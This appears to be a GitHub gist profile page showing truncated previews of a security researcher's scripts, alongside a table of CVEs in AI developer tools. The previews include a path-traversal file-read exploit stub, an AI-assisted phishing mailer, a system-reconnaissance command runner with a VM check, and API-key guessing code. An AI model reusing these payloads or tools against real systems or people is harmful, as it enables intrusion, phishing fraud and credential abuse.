Skip to content

Instantly share code, notes, and snippets.

View JoyGhoshs's full-sized avatar
🇧🇩
Bangladeshi

Abdur Rahman Maheer JoyGhoshs

🇧🇩
Bangladeshi
View GitHub Profile
Project CVE Severity Status
LiteLLM CVE-2026-30623 CRITICAL Patched (v1.83.7)
LibreChat CVE-2026-22252 HIGH Patched
Windsurf CVE-2026-30615 HIGH Unpatched
MCP Inspector CVE-2025-49596 HIGH Patched
Cursor IDE CVE-2025-54136 HIGH Patched (v1.3)
LangChain-ChatChat CVE-2026-30617 CRITICAL Unpatched
Flowise CVE-2026-40933 HIGH Partial Patch
Bisheng CVE-2026-33224 HIGH Patched
Agent Zero CVE-2026-30624 HIGH Unpatched
import requests
from argparse import ArgumentParser
from urllib3.exceptions import InsecureRequestWarning
from colorama import Fore, Style
from concurrent.futures import ThreadPoolExecutor
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def exploit(ip, path):
host = f'https://{ip}/clients/MyCRL'
data = f'aCSHELL/../../../../../../../../../../..{path}'
@JoyGhoshs
JoyGhoshs / AI_PHISER.py
Last active May 1, 2024 09:41
This article is solely for educational purposes. It's simply an experiment of mine. I am not responsible for any misuse of the information or code contained here. If someone uses this method or code for malicious purposes, they are solely responsible for their actions.
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import email.utils
import google.generativeai as genai
import argparse
import random
import requests
import requests
import os
import subprocess
import re
Instructions = [
"Check system configuration",
"Check Current logged in user",
"Check if the system is running on a virtual machine",
import asyncio
import multiprocessing
import threading
import time
import requests
import aiohttp
import psutil
from termcolor import colored
from tabulate import tabulate
import requests
import json
import argparse
parser = argparse.ArgumentParser()
def compile_code(lang, code):
api = "https://paiza.io:443/api/projects.json"
headers = {"Sec-Ch-Ua": "\"Not;A=Brand\";v=\"99\", \"Chromium\";v=\"106\"", "Accept": "application/json", "Content-Type": "application/json; charset=UTF-8", "X-Xsrf-Token": "\"mXfKR7uqZ6RaWov51f88QoL2VPVOYcLgKp1h7A0XVZPnw493XPMnyF/7oDVEr0MHny2sYcOtSq36l/Rl/L5Azg==\"", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36", "Sec-Ch-Ua-Platform": "\"Windows\"", "Origin": "https://paiza.io", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://paiza.io/en/projects/new", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
json = {"project": {"language": lang, "network": True, "output_type": None, "share": "private", "source_files": [{"body": code, "fi
import requests
import random
import json
import time
def key_generator():
key = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.choice(key) for i in range(32))
def key_vaildator(key):
try:
@JoyGhoshs
JoyGhoshs / criminal_ip.py
Created July 16, 2022 04:20
Automation of account creation and verification process
import requests
import json
import random
import re
from colorama import init, Fore, Back, Style
from time import sleep
import argparse
#signature
info = f"[{Fore.BLUE}INFO{Fore.RESET}]"
warn = f"[{Fore.YELLOW}WARN{Fore.RESET}]"
import ipaddress
import random
import requests
from colorama import Fore, Back, Style
"""
Project DarkFiles ---> 0xJoyghosh [Org:system00-Security]
"""
def detection():
ip_add = str(ipaddress.IPv4Address(random.randint(0,2 ** 32)))
ip_data = requests.get('http://ip-api.com/json/' + ip_add)
#!/usr/bin/env python3
from json.tool import main
import sys
import requests
import json
from rich.console import Console
from rich.table import Table
"""
__Author__: Joy Ghosh
__org__:system00 security bangladesh